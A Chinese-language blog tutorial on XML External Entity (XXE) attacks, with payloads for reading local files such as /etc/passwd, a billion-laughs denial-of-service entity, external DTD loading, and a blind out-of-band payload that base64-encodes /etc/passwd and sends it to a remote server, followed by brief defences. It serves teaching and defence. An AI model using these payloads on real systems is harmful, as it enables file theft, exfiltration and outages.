标签 XXE 下的文章

关于XXE攻击

XXE能做什么

利用xxe漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做了:-)

XML作用

两个采用不同技术的系统可以通过XML进行通信和交换数据。

有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///home/Archerx/flag.txt">
]>
<foo>&xxe;</foo>

XXE利用

billion laughs攻击

Code 1:

    1. To read files on same server:
     <?xml version="1.0" encoding="ISO-8859-1"?>
     <!DOCTYPE foo [
     <!ENTITY myentity SYSTEM "file:///location/anyfile" >]>
     <abc>&myentity;</abc>


    2. To crash the server / Cause denial of service:
     <?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>

该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。

恶意引入外部实体

方式一

<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM "file:///home/Archerx/flag.txt">
]>
<foo>&xxe;</foo>

方式二

XML内容
<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % d SYSTEM "http://ixuchao.cn/evil.dtd">
    %d;
]>
<foo>&b;</foo>

evil.dtd内容
<!ENTITY b SYSTEM "file:///etc/passwd">

方式三

XML内容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://ixuchao.cn/evil.dtd">
<foo>&b;</foo>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">

读取任意文件(无回显情况)

有回显的情况就不说了,无回显情况下把数据发往远程服务器(EYE平台)

<!DOCTYPE updateProfile [

  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

  <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">

%dtd;

%send;

]>

evil.dtd (内部的%号要进行实体编码成&#x25):

<!ENTITY % all

 “<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;’>”

 >

%all;

探测内网端口

攻击内网网站

防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);

其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

方案二、过滤用户提交的XML数据

关键词:SYSTEM和PUBLIC。

参考

preView